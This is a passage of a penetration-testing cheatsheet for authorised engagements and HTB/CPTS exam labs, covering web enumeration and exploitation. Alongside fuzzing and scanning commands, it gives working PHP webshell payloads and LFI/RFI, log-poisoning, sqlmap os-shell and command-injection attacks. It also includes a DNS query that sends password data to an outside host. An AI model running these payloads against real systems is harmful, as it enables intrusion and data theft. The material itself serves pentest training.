daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

web-enumeration-and-exploitation.md (139523B)


      1 ---
      2 title: "Stage 02 — Web Enumeration and Exploitation"
      3 description: "CPTS attack-flow reference for stage 02 — web enumeration and exploitation in an authorised engagement."
      4 category: pentest-workflow
      5 subcategory: "CPTS Attack Flow"
      6 order: 3
      7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-02", "pentest-workflow"]
      8 tools: ["ffuf", "Feroxbuster", "Gobuster", "Burp Suite", "sqlmap", "Nuclei"]
      9 difficulty: intermediate
     10 updated: "2026-08-29"
     11 source: "vault:Pentest Attack Flow/03 - Stage 02 - Web Enumeration and Exploitation.md"
     12 ---
     13 > [!dashboard] Attack-flow navigation
     14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
     15 >
     16 > **Section:** 03 of 17 · **Focus:** Stage 02 — Web Enumeration and Exploitation
     17 >
     18 > **Previous:** [Stage 01 — Recon and Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery) · **Next:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers)
     19 
     20 ---
     21 # 🌐 STAGE 2 — Web Enumeration & Exploitation
     22 
     23 Everything after a live web port. Content discovery first, then vhosts, then the app itself. I fuzz, read the app, then attack the one thing that's actually vulnerable. Deep tool refs: Ffuf-Cheatsheet · webfuzz · gobuster · Nuclei-Cheatsheet · WPScan · LFI - Cheat Sheet · sqlmap.
     24 
     25 > [!note] Setup assumptions
     26 > `$IP` = box, `$DOMAIN` = domain.htb, `$LHOST` = my tun0. Add every domain/vhost I find to `/etc/hosts` (`$IP  $DOMAIN admin.$DOMAIN ...`) before content discovery, or half the app won't resolve. SecLists lives at `/usr/share/seclists`.
     27 
     28 **The methodology at a glance**
     29 
     30 <figure class="flow plate corners">
     31   <figcaption class="flow__cap"><span class="flow__kind">Web exploitation methodology</span><span class="flow__dir">TD</span></figcaption>
     32   <div class="flow__body">
     33     <div class="flow__diagram" data-dir="td">
     34       <div class="flow-rank"><div class="flow-node is-entry">Live web port found<span class="sub">Stage 01</span></div></div>
     35       <div class="flow-edge"></div>
     36       <div class="flow-rank"><div class="flow-node">Fingerprint<span class="sub">whatweb / httpx / headers</span></div></div>
     37       <div class="flow-edge"></div>
     38       <div class="flow-rank"><div class="flow-node is-decision">Vhosts?</div></div>
     39       <div class="flow-branches">
     40         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">Host-header fuzz</span></div><div class="flow-node">admin./dev./internal.<span class="sub">add to /etc/hosts</span></div></div>
     41         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">single site</span></div></div>
     42       </div>
     43       <div class="flow-join"></div>
     44       <div class="flow-rank"><div class="flow-node">Content discovery<span class="sub">ffuf/feroxbuster + right extension</span></div></div>
     45       <div class="flow-edge"></div>
     46       <div class="flow-rank"><div class="flow-node">Param mining<span class="sub">arjun / gau / JS analysis</span></div></div>
     47       <div class="flow-edge"></div>
     48       <div class="flow-rank"><div class="flow-node">Read the app<span class="sub">Burp walkthrough, map every input</span></div></div>
     49       <div class="flow-edge"></div>
     50       <div class="flow-rank"><div class="flow-node is-decision">Input class?</div></div>
     51       <div class="flow-branches">
     52         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">auth</span></div><div class="flow-node">defaults → brute → JWT/reset flaws</div></div>
     53         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">query param</span></div><div class="flow-node">SQLi / NoSQLi / cmd-inject</div></div>
     54         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">file load</span></div><div class="flow-node">LFI / SSRF / XXE</div></div>
     55         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">upload</span></div><div class="flow-node">Upload bypass → webshell</div></div>
     56         <div class="flow-lane"><div class="flow-edge"><span class="flow-edge__label">rendered</span></div><div class="flow-node">XSS → cookie theft / blind</div></div>
     57       </div>
     58       <div class="flow-join"></div>
     59       <div class="flow-rank"><div class="flow-node is-goal">Shell as service account</div></div>
     60       <div class="flow-edge"></div>
     61       <div class="flow-rank"><div class="flow-node">File transfer + upgrade<span class="sub">Stage 03 → PrivEsc Stage 09</span></div></div>
     62     </div>
     63   </div>
     64 </figure>
     65 
     66 > [!success] CPTS exam tips
     67 > - **/etc/hosts discipline** — half of all "dead ends" on the exam are unfuzzed vhosts. If the landing page is a static placeholder, vhost-fuzz immediately.
     68 > - **Fuzz with the right extension** — `.php` on PHP, `.aspx` on IIS. The exam hides the foothold page behind the correct extension more often than behind an obscure name.
     69 > - **Enumerate before exploiting** — five minutes in Burp reading every form/endpoint beats an hour of sqlmap `--level=5`.
     70 > - **Default creds first, always** — Tomcat/Jenkins/Grafana/PRTG boxes are one login away from RCE; check the table before reaching for rockyou.
     71 > - **Chase the low-priv shell to privesc fast** — web footholds land as `www-data`/`IIS APPPOOL`; pivot straight to [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) checks.
     72 > - **Document as you go** — every finding needs a reproducible request (save Burp requests, keep ffuf/nuclei output) so the report writes itself later.
     73 
     74 ---
     75 
     76 ### 🔎 Fingerprinting & tech identification (before any fuzzing)
     77 
     78 **What to look for** → server header, framework, CMS, WAF. The tech stack dictates the wordlist (`.php` vs `.aspx` vs `.jsp`), the default-cred table, and which CVEs apply — five minutes of fingerprinting saves an hour of wrong-extension fuzzing. Tools: [whatweb](https://github.com/urbanadventurer/WhatWeb) (single targets), [httpx](https://github.com/projectdiscovery/httpx) (bulk probing + tech detect). MITRE [T1595.002](https://attack.mitre.org/techniques/T1595/002/) (Active Scanning: Vulnerability Scanning adjacent) / TA0043 Recon.
     79 
     80 ```bash
     81 # whatweb — fast banner/plugin fingerprint, aggression levels 1(passive)->3(aggressive)
     82 whatweb http://$IP                       # default, one request-ish
     83 whatweb -a 3 http://$IP                  # aggressive: heavier probing, version guesses
     84 whatweb --log-json=whatweb.json http://$IP
     85 
     86 # httpx — probe many hosts at once, grab title/tech/status (pipe in the port-sweep output)
     87 httpx -l hosts.txt -title -tech-detect -status-code -follow-redirects -o httpx.out
     88 echo http://$IP | httpx -tech-detect -server -title
     89 
     90 # headers + TLS by hand when the tools disagree
     91 curl -sI http://$IP | grep -iE 'server|x-powered-by|x-aspnet|set-cookie'
     92 #   X-Powered-By: PHP/8.1  /  ASP.NET  /  Express   — free stack intel
     93 #   cookie names leak the framework: PHPSESSID=PHP, JSESSIONID=Java/Tomcat,
     94 #   .AspNetCore.Session=ASP.NET Core, connect.sid=Express, laravel_session=Laravel
     95 
     96 # robots.txt / sitemap.xml / security.txt are free, non-intrusive content discovery
     97 curl -s http://$IP/robots.txt
     98 ```
     99 
    100 > [!tip] Browser-side fingerprinting
    101 > The **Wappalyzer** browser extension fingerprints as you browse Burp-scoped pages — zero extra traffic beyond what the browser already sends. For scripted checks, `whatweb`/`httpx -tech-detect` cover the same ground.
    102 
    103 > [!tools] Screenshot triage at scale
    104 > Once `httpx`/vhost fuzzing yields a URL list, screenshot everything in one pass and eyeball the contact sheet for login panels, default installs, and error pages. [gowitness](https://github.com/sensepost/gowitness) is staged locally:
    105 >
    106 > [gowitness_linux_amd64](/downloads/pentest-workflow/gowitness_linux_amd64) ([SHA-256](/downloads/pentest-workflow/gowitness_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/gowitness_linux_amd64.sha256.asc))
    107 >
    108 > ```bash
    109 > ./gowitness scan file -f urls.txt --screenshot-path ./shots
    110 > ./gowitness report server            # browse the gallery on 127.0.0.1:7171
    111 > ```
    112 
    113 > [!warning] OPSEC — fingerprinting is logged
    114 > `whatweb -a 3` and `httpx -tech-detect` fire dozens of probes with recognisable UAs/paths; on a monitored engagement pass `-H "User-Agent: ..."` and rate-limit (`httpx -rl 25`). Cookie names, `Server:` headers, and `robots.txt` are single-request recon — harvest them from Burp history for free before firing tools.
    115 
    116 ---
    117 
    118 ### Tech ID → attack mapping
    119 
    120 Fingerprint in hand, jump straight to the relevant section/tool instead of generic fuzzing:
    121 
    122 | Fingerprint | Immediate move | Deep-dive tool | Section |
    123 |---|---|---|---|
    124 | WordPress (`wp-content`, `wp-login.php`) | wpscan `-e vp,vt,u` + `?author=1` enum | [wpscan](https://github.com/wpscanteam/wpscan) | WordPress (wpscan) |
    125 | Joomla (`/administrator/`, `joomla.xml`) | read `joomla.xml` version | [droopescan](https://github.com/SamJoan/droopescan) `scan joomla` | Joomla → Template Customise shell / dir-traversal |
    126 | Drupal (`CHANGELOG.txt`, `/node/1`) | droopescan → Drupalgeddon version check | [droopescan](https://github.com/SamJoan/droopescan) `scan drupal` | Drupal → PHP Filter / backdoored module / Drupalgeddon |
    127 | Any CMS, unknown | generic multi-CMS scan | [CMSmap](https://github.com/Dionach/CMSmap) | — |
    128 | Apache Tomcat (`/manager`, `:8009` AJP) | default creds → WAR deploy | msf `tomcat_mgr_login` | Tomcat → /manager WAR deploy (msfvenom war) |
    129 | Jenkins (`:8080`, `/script`) | anon-read? → Groovy console | — | Jenkins → Groovy Script Console RCE |
    130 | GitLab (`/explore`) | self-register → repo secrets; version on `/help` | — | GitLab → self-register → repo secrets / ExifTool RCE |
    131 | IIS (`Microsoft-IIS`, ASPX) | short-name enum, `.aspx` wordlists, web.config hunt | iis_shortname_scanner | IIS short-name (`~`) tilde enumeration |
    132 | PHP stack (`PHPSESSID`, `.php`) | LFI/upload/SQLi focus, `php://` wrappers | sqlmap, ffuf | LFI → RCE |
    133 | Node/Express (`connect.sid`, `X-Powered-By: Express`) | NoSQLi, prototype pollution, SSTI (Pug/EJS) | — | NoSQL injection (MongoDB/Express APIs), SSTI — server-side template injection |
    134 | Java (`JSESSIONID`, `Whitelabel Error`) | SSTI (Thymeleaf/FreeMarker), deserialization, Spring Actuator `/env` `/heapdump` | ysoserial | 🧬 Insecure deserialization |
    135 | GraphQL (`/graphql`, `/graphiql`) | introspection query | kiterunner | 🔌 API attacks — GraphQL, kiterunner, WebSockets |
    136 | Grafana | default `admin:admin`, CVE-2021-43798 path traversal (`/public/plugins/`) | — | AuthN attacks — defaults, JWT, OAuth, reset flaws, MFA |
    137 | WAF detected (403 on `'`, `Server: cloudflare`/`awselb`…) | slow down, encode, see WAF section | — | 🛡️ WAF evasion & 403 bypass |
    138 
    139 ---
    140 
    141 ### Content discovery (dirs / files / extensions)
    142 
    143 **What to look for** → hidden dirs, admin panels, backups (`.bak .old .zip .sql`), source leaks, upload dirs. Establish the soft-404 size *first* so filters actually work.
    144 
    145 **Enumerate**
    146 ```bash
    147 # ffuf directories
    148 ffuf -u http://$IP/FUZZ \
    149   -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    150   -mc 200,204,301,302,307,401,403 -c
    151 
    152 # extensions on words (tune to the stack: php,asp,jsp,txt,bak,old)
    153 ffuf -u http://$IP/FUZZ \
    154   -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
    155   -e .php,.txt,.bak,.old -mc 200 -c
    156 
    157 # recursion — only AFTER filters are trusted, cap the depth
    158 ffuf -u http://$IP/FUZZ \
    159   -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt \
    160   -recursion -recursion-depth 2 -mc 200,301,302 -c
    161 
    162 # autocalibrate + save an HTML report for the writeup
    163 ffuf -u http://$IP/FUZZ \
    164   -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    165   -ac -c -o ffuf_dirs.html -of html
    166 
    167 # webfuzz wrapper — auto-learns -fs, prints the raw ffuf line. --dry-run to just see it
    168 webfuzz recurse -u http://$IP/          # dirs recursively, auto -e .php -v
    169 webfuzz ext     -u http://$IP/blog/index   # which extension does /blog use?
    170 webfuzz page    -u http://$IP/blog/ --ext php
    171 
    172 # feroxbuster — recursive by default, the tool gobuster note points to for native recursion
    173 feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html -d 2
    174 
    175 # gobuster dir (no native recursion — chain scans manually)
    176 gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
    177   -x php,html,txt -t 40 -o initial_scan.txt
    178 
    179 # dirsearch — batteries-included default list + extension handling, great reports
    180 dirsearch -u http://$IP -e php,html,txt,bak -x 403,404 --random-agent -o dirsearch.txt
    181 ```
    182 
    183 **Fuzzer shoot-out** — pick the tool per job, not by habit:
    184 
    185 | Tool | Native recursion | Filtering | Standout | Watch for |
    186 |---|---|---|---|---|
    187 | [ffuf](https://github.com/ffuf/ffuf) | `-recursion` (capped) | `-mc/-fc/-fs/-ms/-mr/-fr`, `-ac` autocalibrate | `FUZZ` keyword anywhere (Host header, body, JSON, cookie); `-mode clusterbomb` | recursion floods without depth cap |
    188 | [feroxbuster](https://github.com/epi052/feroxbuster) | **on by default** | `--filter-status/--filter-size`, auto wildcard detection | Rust speed, `--collect-extensions`, pause/resume (interactive scan) | noisiest of the four; tune `-d` depth + `-L` links |
    189 | [gobuster](https://github.com/OJ/gobuster) | none (chain manually) | `-b` status blacklist, `--exclude-length` | `dns`/`vhost`/`fuzz`/`s3` modes in one binary | no recursion = missed deep trees |
    190 | [dirsearch](https://github.com/maurosoria/dirsearch) | `-r` | `-x` excl status, `--filter-sizes` | ships its own curated wordlist; clean reporting (`-o`) | default list smaller than raft-medium |
    191 
    192 **Wordlist guide** (SecLists at `/usr/share/seclists`):
    193 
    194 | Job | List |
    195 |---|---|
    196 | Quick dir pass | `Discovery/Web-Content/common.txt` (~4.7k) |
    197 | Standard dir pass | `Discovery/Web-Content/raft-medium-directories.txt` |
    198 | Files / page names | `Discovery/Web-Content/raft-medium-files.txt`, `raft-medium-words.txt` |
    199 | Big fallback | `Discovery/Web-Content/directory-list-2.3-medium.txt` |
    200 | Vhosts/subdomains | `Discovery/DNS/subdomains-top1million-5000.txt` (→20000) |
    201 | Param names | `Discovery/Web-Content/burp-parameter-names.txt` |
    202 | LFI payloads | `Fuzzing/LFI/LFI-Jhaddix.txt` |
    203 | Misc | [fuzzdb](https://github.com/fuzzdb-project/fuzzdb) attack patterns (often merged into SecLists `Fuzzing/`) |
    204 
    205 > [!tip] Match wordlist × extension × stack
    206 > Fingerprint first (Tech ID → attack mapping): PHP stack → `-e .php`, IIS → `.aspx,.asp,.ashx,.config`, Tomcat → `.jsp,.war`, generic → add `.txt,.bak,.old,.zip,.sql`. A raft-medium pass with the right extension beats directory-list-2.3-big with the wrong one.
    207 
    208 > [!warning] Watch out
    209 > - **Everything is a hit** = soft-404. Hit a nonsense path first, read its size, then `-fs <size>` (or `-ac`, or let `webfuzz` learn it). Filtering skill beats wordlist size.
    210 > - **Nothing is a hit** = over-filtered / wrong `-mc`. Fall back to `-mc all` then filter down.
    211 > - Recursion with bad filters floods the box — depth-cap it and trust filters first.
    212 > - gobuster `--verbose` is gone in v3.7+ (it's `--debug` now); use `--exclude-length` for wildcard boxes.
    213 
    214 ---
    215 
    216 ### VHost & subdomain fuzzing
    217 
    218 **What to look for** → extra sites on the same IP (`admin.`, `dev.`, `internal.`). Wrong vhosts return the *default* site (a real 200), so response **size** is the only discriminator — always filter it.
    219 
    220 **Enumerate**
    221 ```bash
    222 # ffuf Host-header fuzz — point -u at the IP, fuzz the Host
    223 ffuf -u http://$IP/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    224   -H "Host: FUZZ.$DOMAIN" -ac -c
    225 # manual size filter once I know the default page size
    226 ffuf -u http://$IP/ -w namelist.txt -H "Host: FUZZ.$DOMAIN" -fs 15157
    227 
    228 # webfuzz vhost — auto-calibrates -fs for me
    229 webfuzz vhost -u http://$IP/ -d $DOMAIN
    230 
    231 # gobuster vhost — needs --append-domain to build FQDN Host headers
    232 gobuster vhost -u http://$IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    233   --domain $DOMAIN --append-domain --exclude-length <baseline_len>
    234 
    235 # public subdomains via real DNS (bug-bounty / resolvable targets)
    236 gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i
    237 ```
    238 
    239 > [!tip] Vhost before assuming one site
    240 > Always vhost-fuzz an IP before deep content discovery — the interesting app is often on `admin.$DOMAIN`, not the landing page. Add every hit to `/etc/hosts`, then re-run dir fuzzing against the vhost.
    241 
    242 ---
    243 
    244 ### Parameter & value fuzzing
    245 
    246 **What to look for** → hidden GET/POST params, a working `id`/`user` value, login user enumeration. Baseline-filter the "invalid" response.
    247 
    248 **Enumerate**
    249 ```bash
    250 # GET parameter NAMES
    251 ffuf -u "http://$IP/index.php?FUZZ=test" \
    252   -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all -fs 4242 -c
    253 
    254 # GET parameter VALUE (regex-filter the "not found" text)
    255 ffuf -u "http://$IP/index.php?id=FUZZ" -w ids.txt -mc 200 -fr 'not found' -c
    256 
    257 # POST login — fuzz username, filter the 401
    258 ffuf -u http://$IP/login.php -X POST -d 'username=FUZZ&password=Password1' -w users.txt -fc 401 -c
    259 
    260 # webfuzz — name/value, numeric range built on the fly
    261 webfuzz getparam -u http://$IP/admin/admin.php
    262 webfuzz value    -u http://$IP/admin/admin.php -p id --range 1-1000
    263 
    264 # gobuster fuzz
    265 gobuster fuzz -u "http://$IP/page?FUZZ=test" \
    266   -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b 404 --exclude-length 0
    267 ```
    268 
    269 **Parameter mining — let archives and JS hand you the params** (cheaper than fuzzing blind):
    270 
    271 ```bash
    272 # arjun — smart GET/POST param discovery (learns the baseline, then diffs)
    273 arjun -u "http://$IP/page.php" --stable            # GET
    274 arjun -u "http://$IP/api/login" -m POST --stable   # POST
    275 
    276 # ParamSpider — pulls params from Wayback archives for a domain
    277 python3 paramspider.py -d $DOMAIN
    278 
    279 # gau / waybackurls — every URL the Wayback Machine / CommonCrawl ever saw
    280 echo $DOMAIN | gau --threads 5 | tee gau.txt
    281 echo $DOMAIN | waybackurls | grep -E '\?.*=' | sort -u > params.txt
    282 #   archive URLs reveal hidden endpoints, deleted admin panels, and file paths;
    283 #   filter by extension for quick wins:
    284 cat gau.txt | grep -iE '\.(php|aspx|jsp|json|xml|bak|sql|env|git)' 
    285 
    286 # xnLinkFinder concept — crawl the app's JS bundles and extract endpoints/params
    287 #   (python3 xnLinkFinder.py -i target.js -o endpoints.txt)
    288 #   ship-JS is ground truth: undocumented routes, API keys, hidden params
    289 ```
    290 
    291 > [!tip] Archive-then-fuzz order
    292 > Run `gau`/`waybackurls` **before** fuzzing a target — dead endpoints from 2019 still resolve on legacy boxes, and they cost zero requests against the live host (fully passive, great OPSEC). Feed surviving paths into `httpx` to check which are still alive.
    293 
    294 ---
    295 
    296 ### Web scanners (nikto / nuclei)
    297 
    298 [nikto](https://github.com/sullo/nikto) = classic Perl web-server scanner (misconfigs, default files, outdated software); [nuclei](https://github.com/projectdiscovery/nuclei) = template-driven CVE/exposure engine. Different jobs — nikto for server hygiene, nuclei for known-vuln matching.
    299 
    300 **Enumerate**
    301 ```bash
    302 # Nikto — everything except DoS, spoof UA (default UA is instantly WAF-flagged), JSON out
    303 nikto -h http://$IP -Tuning x6 -useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -o nikto.json -Format json
    304 nikto -h http://$IP -Tuning 49          # XSS(4) + SQLi(9) only, low noise
    305 
    306 # Nuclei — polite single-target (don't hammer a fragile box)
    307 nuclei -u http://$IP -rl 20 -c 10 -bs 10 -timeout 15 -retries 2 -o box_scan.txt
    308 nuclei -u http://$IP -as                 # auto-scan: fingerprint tech -> map templates
    309 nuclei -u http://$IP -tags cve -s critical,high        # high-signal quick pass
    310 nuclei -u http://$IP -tags wordpress,wp-plugin         # tech-specific
    311 ```
    312 
    313 > [!warning] Watch out
    314 > - Both tools are **loud** — assume everything is logged. Nikto has no real stealth; narrow with `-Tuning`.
    315 > - On isolated lab nets add nuclei `-ni` or OAST templates hang and drag the whole scan (public `oast.pro`/`oast.live` callbacks are also externally observable — the single most important OPSEC flag).
    316 > - `nuclei -ut` before every engagement; default `-rl 150` will knock a flaky HTB service over.
    317 
    318 ---
    319 
    320 ### WordPress (wpscan)
    321 
    322 **What to look for** → `/wp-login.php`, `wp-content/`, `generator` meta, `?author=1` redirects. Feed [wpscan](https://github.com/wpscanteam/wpscan) an API token or you get **zero** vuln data.
    323 
    324 **Enumerate**
    325 ```bash
    326 export WPSCAN_API_TOKEN=<token>          # 25 free requests/day
    327 wpscan --url http://$DOMAIN -e vp,vt,u --api-token $WPSCAN_API_TOKEN     # vuln plugins/themes + users
    328 wpscan --url http://$DOMAIN -e ap --plugins-detection aggressive         # ALL plugins, noisy
    329 wpscan --url http://$DOMAIN --stealthy --throttle 2000                   # low-and-slow
    330 ```
    331 
    332 **Exploit / Attack**
    333 ```bash
    334 # password attack — -U known/enumerated user, -P wordlist, force xmlrpc for speed
    335 wpscan --url http://$DOMAIN -U "$U" -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc
    336 # no -U -> wpscan enumerates u1-10 first, then attacks
    337 wpscan --url http://$DOMAIN -P /usr/share/wordlists/rockyou.txt
    338 ```
    339 
    340 > [!warning] Watch out
    341 > - Passive detection (the default) often can't read a version — bump to `--plugins-detection aggressive` when you need it, accepting the 404 noise.
    342 > - `xmlrpc-multicall` (500 pw/request) only exists on **WP < 4.4**; on modern WP fall back to `--password-attack wp-login`. Security plugins block xmlrpc entirely → wp-login.
    343 > - Config backups (`-e cb`) and DB exports (`-e dbe`) are the crown jewels — wp-config.php.bak = DB creds.
    344 
    345 ---
    346 
    347 ### LFI → RCE
    348 
    349 **What to look for** → `?page=`, `?file=`, `?language=`, `?include=` — anything that loads a file. `include()`/`require()` **execute**; `file_get_contents()` only reads.
    350 
    351 **Enumerate / confirm**
    352 ```bash
    353 curl "http://$IP/index.php?language=/etc/passwd"
    354 curl "http://$IP/index.php?language=../../../../etc/passwd"
    355 
    356 # find the parameter, then fuzz LFI payloads (set -fs to the normal page size)
    357 ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
    358   -u "http://$IP/index.php?FUZZ=value" -fs 2287
    359 ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
    360   -u "http://$IP/index.php?language=FUZZ" -fs 2287
    361 ```
    362 
    363 **Read source with the base64 filter (find creds/URLs)**
    364 ```bash
    365 # manual
    366 curl "http://$IP/index.php?language=php://filter/read=convert.base64-encode/resource=config" | base64 -d
    367 
    368 # webfuzz lfi — wraps php://filter, matches PD9waH (=<?ph), curls+base64-decodes every hit, greps creds
    369 webfuzz lfi -u "http://$IP/nav.php?page=FUZZ" --resource /var/www/html/
    370 # the raw commands it replaces:
    371 ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt:FUZZ \
    372   -u "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/FUZZ" \
    373   -mr "PD9waH" -fs 0
    374 curl -s "http://$IP/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wp-config.php" | base64 -d
    375 ```
    376 
    377 **Exploit / Attack — LFI → RCE**
    378 ```bash
    379 # data:// wrapper (needs allow_url_include=On)
    380 curl "http://$IP/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==&cmd=id"
    381 
    382 # php://input — POST the payload
    383 curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://$IP/index.php?language=php://input&cmd=id"
    384 
    385 # expect:// wrapper
    386 curl -s "http://$IP/index.php?language=expect://id"
    387 
    388 # RFI — host the shell myself
    389 echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server 8000
    390 curl "http://$IP/index.php?language=http://$LHOST:8000/shell.php&cmd=id"
    391 
    392 # log poisoning — poison the access log via User-Agent, then include it
    393 curl -s "http://$IP/index.php" -A '<?php system($_GET["cmd"]); ?>'
    394 curl "http://$IP/index.php?language=/var/log/apache2/access.log&cmd=id"
    395 
    396 # PHP session poisoning
    397 curl "http://$IP/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E"
    398 curl "http://$IP/index.php?language=/var/lib/php/sessions/sess_<PHPSESSID>&cmd=id"
    399 ```
    400 
    401 > [!warning] Watch out
    402 > - Null-byte (`%00`) and path-truncation extension bypasses are **obsolete** (PHP < 5.3 only) — don't waste time.
    403 > - RFI needs `allow_url_include=On`; `require()` can't pull a remote URL, `include()` can.
    404 > - Upload tricks: `GIF8<?php ...?>` in a `.gif`, or `zip://shell.zip%23shell.php&cmd=id` / `phar://` when you can upload but not directly include a `.php`.
    405 
    406 ---
    407 
    408 ### SQL injection (sqlmap)
    409 
    410 **What to look for** → any GET/POST/cookie param, especially numeric `id`. Capture the real request in Burp → `request.txt` so headers/auth/POST body are preserved.
    411 
    412 **Detect**
    413 ```bash
    414 sqlmap -u "http://$IP/page.php?id=1" --batch
    415 sqlmap -r request.txt --batch                              # best for POST / auth / headers
    416 sqlmap -u "http://$IP/page.php?id=1&name=test" -p id --level=5 --risk=3 --batch   # when default finds nothing
    417 ```
    418 
    419 **Enumerate → dump**
    420 ```bash
    421 sqlmap -r request.txt --batch --dbs
    422 sqlmap -r request.txt --batch -D webapp --tables
    423 sqlmap -r request.txt --batch -D webapp -T users --columns
    424 sqlmap -r request.txt --batch -D webapp -T users -C username,password --dump
    425 sqlmap -r request.txt --batch -a                           # grab everything (slow)
    426 ```
    427 
    428 **System access**
    429 ```bash
    430 sqlmap -u "http://$IP/page.php?id=1" --file-read="/etc/passwd" --batch
    431 sqlmap -u "http://$IP/page.php?id=1" --file-write=shell.php --file-dest=/var/www/html/shell.php --batch
    432 sqlmap -r request.txt --level=3 --risk=3 --os-shell --batch     # needs stacked queries (S) + DBA
    433 # WAF in the way → chain tampers
    434 sqlmap -u "http://$IP/page.php?id=1" --tamper=between,randomcase,space2comment --random-agent --delay=2 --batch
    435 ```
    436 
    437 **High-value flags cheat sheet**
    438 
    439 | Flag | Why |
    440 |---|---|
    441 | `-r request.txt` | preserve cookies/CSRF/POST body exactly as Burp saw it |
    442 | `-p id` | test only the promising param (speed, less noise) |
    443 | `--level 1-5 --risk 1-3` | level: cookies(2) UA/Referer(3); risk: OR-payloads(3, destructive) |
    444 | `--technique=BEUSTQ` | Boolean/Error/Union/Stacked/Time — drop T to go fast |
    445 | `--dbms=mysql` | skip fingerprinting, cut payload count hugely |
    446 | `--os-shell` / `--os-pwn` | needs stacked queries + DBA + writable webroot |
    447 | `--file-read` / `--file-write` + `--file-dest` | direct file I/O via `LOAD_FILE`/`INTO OUTFILE` |
    448 | `--proxy http://127.0.0.1:8080` | watch sqlmap's raw requests in Burp to debug |
    449 | `--flush-session` | changed flags/target shape → forget cached results |
    450 | `--second-url` / `--second-req` | **second-order** SQLi: inject in one request, observe in another |
    451 | `--dns-domain attacker.tld` | **OOB exfil** over DNS when the response is fully blind |
    452 
    453 **Useful tampers** (chain comma-separated; inspect `tamper/` dir for the full list):
    454 
    455 | Tamper | Transform | Beats |
    456 |---|---|---|
    457 | `space2comment` | space → `/**/` | naive space filters |
    458 | `randomcase` | `SeLeCt` | case-sensitive keyword WAF |
    459 | `between` | `=` → `BETWEEN` | `=`/comparison filters |
    460 | `equaltolike` | `=` → `LIKE` | `=` filters |
    461 | `apostrophemask` | `'` → UTF-8 fullwidth | quote filters |
    462 | `charencode` / `charunicodeencode` | URL/unicode-encode everything | keyword scanners |
    463 | `base64encode` | whole-payload b64 | apps that b64-decode input |
    464 | `modsecurityversioned` | `/*!50000SELECT*/` version comments | ModSecurity-style rules |
    465 
    466 **Second-order SQLi** — payload is stored now, executed when another page/query reads it back (classic: register username `admin'-- `, then the *profile/password-change* query injects). sqlmap: `--second-url http://$IP/profile.php`, or replay manually in Burp and diff.
    467 
    468 **Out-of-band SQLi** — zero in-band output? Exfil over DNS (needs `xp_dirtree` on MSSQL / `LOAD_FILE` UNC on MySQL-Windows):
    469 
    470 ```sql
    471 '; EXEC xp_dirtree '\\'+(SELECT password FROM users WHERE username='admin')+'.abc123.oast.pro'\\share';-- -
    472 ```
    473 Catch with Burp Collaborator / [interactsh](https://github.com/projectdiscovery/interactsh) — the leaked value arrives as a DNS label. sqlmap automates it with `--dns-domain`.
    474 
    475 > [!warning] Watch out
    476 > - `--level=2`+ tests cookies, `--level=3`+ tests User-Agent/Referer — bump level before declaring a param clean.
    477 > - Time-based blind is glacial. `--technique=BEU` drops it; `--technique=U` (UNION) is fastest for dumping.
    478 > - `--risk=3` adds OR-based payloads that can **UPDATE/DELETE** rows — think before you run it on a live app.
    479 > - Changed flags but same target? `--flush-session` or sqlmap reuses the old (possibly wrong) result.
    480 
    481 ---
    482 
    483 ### Command injection (filter bypass)
    484 
    485 **What to look for** → params that ping / nslookup / convert / resolve — anything that shells out (`system()`, `shell_exec()`, `passthru()`, backticks). Read the script source the moment you get any exec.
    486 
    487 **Confirm**
    488 ```bash
    489 curl "http://$IP/ping.php?ip=127.0.0.1;id"
    490 curl "http://$IP/ping.php?ip=127.0.0.1%0aid"     # %0a newline is the best first probe
    491 ```
    492 
    493 **Exploit / Attack — bypass chains**
    494 ```bash
    495 # space blocked -> ${IFS} / tab(%09) / brace expansion
    496 curl "http://$IP/ping.php?ip=127.0.0.1%0acat${IFS}/etc/passwd"
    497 curl "http://$IP/ping.php?ip=127.0.0.1%0a{cat,/etc/passwd}"
    498 
